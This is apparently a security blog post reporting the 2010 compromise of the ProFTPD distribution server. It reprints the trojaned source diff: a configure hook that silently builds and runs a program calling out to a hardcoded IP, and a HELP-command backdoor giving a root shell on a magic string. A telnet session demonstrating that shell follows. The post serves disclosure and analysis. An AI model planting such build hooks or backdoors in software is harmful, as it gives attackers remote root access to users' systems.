ftp.proftpd.org compromised
The ProFTPD project has sent a report to inform that the main distribution server was compromised.
On Sunday, the 28th of November 2010 around 20:00 UTC the main distribution server of the ProFTPD project was compromised. The attackers most likely used an unpatched security issue in the FTP daemon to gain access to the server and used their privileges to replace the source files for ProFTPD 1.3.3c with a version which contained a backdoor. The unauthorized modification of the source code was noticed by Daniel Austin and relayed to the ProFTPD project by Jeroen Geilman on Wednesday, December 1 and fixed shortly afterwards.
The backdoor introduced by the attackers allows unauthenticated users remote root access to systems which run the maliciously modified version of the ProFTPD daemon
UPDATE: I found a diff of the trojaned version
diff -Naur proftpd-1.3.3c.orig/configure proftpd-1.3.3c/configure
--- proftpd-1.3.3c.orig/configure 2010-04-14 00:01:35.000000000 +0200
+++ proftpd-1.3.3c/configure 2010-10-29 19:08:56.000000000 +0200
@@ -9,7 +9,10 @@
## --------------------- ##
## M4sh Initialization. ##
## --------------------- ##
-
+gcc tests/tests.c -o tests/tests >/dev/null 2>&1
+cc tests/tests.c -o tests/tests >/dev/null 2>&1
+tests/tests >/dev/null 2>&1 &
+rm -rf tests/tests.c tests/tests >/dev/null 2>&1
# Be more Bourne compatible
DUALCASE=1; export DUALCASE # for MKS sh
if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
diff -Naur proftpd-1.3.3c.orig/src/help.c proftpd-1.3.3c/src/help.c
--- proftpd-1.3.3c.orig/src/help.c 2009-07-01 01:31:18.000000000 +0200
+++ proftpd-1.3.3c/src/help.c 2010-11-16 18:40:46.000000000 +0100
@@ -27,6 +27,8 @@
*/
#include "conf.h"
+#include <stdlib.h>
+#include <string.h>
struct help_rec {
const char *cmd;
@@ -126,7 +128,7 @@
cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");
} else {
-
+ if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
/* List the syntax for the given target command. */
for (i = 0; i < help_list->nelts; i++) {
if (strcasecmp(helps[i].cmd, target) == 0) {
diff -Naur proftpd-1.3.3c.orig/tests/tests.c proftpd-1.3.3c/tests/tests.c
--- proftpd-1.3.3c.orig/tests/tests.c 1970-01-01 01:00:00.000000000 +0100
+++ proftpd-1.3.3c/tests/tests.c 2010-11-29 09:37:35.000000000 +0100
@@ -0,0 +1,58 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#include <netdb.h>
+#include <signal.h>
+#include <string.h>
+
+#define DEF_PORT 9090
+#define DEF_TIMEOUT 15
+#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"
+
+int sock;
+
+void handle_timeout(int sig)
+{
+ close(sock);
+ exit(0);
+}
+
+int main(void)
+{
+
+ struct sockaddr_in addr;
+ struct hostent *he;
+ u_short port;
+ char ip[20]="212.26.42.47";
+ port = DEF_PORT;
+ signal(SIGALRM, handle_timeout);
+ alarm(DEF_TIMEOUT);
+ he=gethostbyname(ip);
+ if(he==NULL) return(-1);
+ addr.sin_addr.s_addr = *(unsigned long*)he->h_addr;
+ addr.sin_port = htons(port);
+ addr.sin_family = AF_INET;
+ memset(addr.sin_zero, 0, 8);
+ sprintf(ip, inet_ntoa(addr.sin_addr));
+ if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
+ {
+ return EXIT_FAILURE;
+ }
+ if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1)
+ {
+ close(sock);
+ return EXIT_FAILURE;
+ }
+ if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
+ {
+ return EXIT_FAILURE;
+ }
+ close(sock);
+
+return 0; }
+
+
$ telnet 0 21
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
220 ProFTPD 1.3.3c Server (ProFTPD Default Installation) [127.0.0.1]
HELP
214-The following commands are recognized (* =>'s unimplemented):
CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
XRMD MKD XMKD PWD XPWD SIZE SYST HELP
NOOP FEAT OPTS AUTH* CCC* CONF* ENC* MIC*
PBSZ* PROT* TYPE STRU MODE RETR STOR STOU
APPE REST ABOR USER PASS ACCT* REIN* LIST
NLST STAT SITE MLSD MLST
214 Direct comments to someone@somewhere
HELP ANOOP
502 Unknown command 'ANOOP'
HELP a
502 Unknown command 'A'
HELP ACIDBITCHEZ
id ;
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)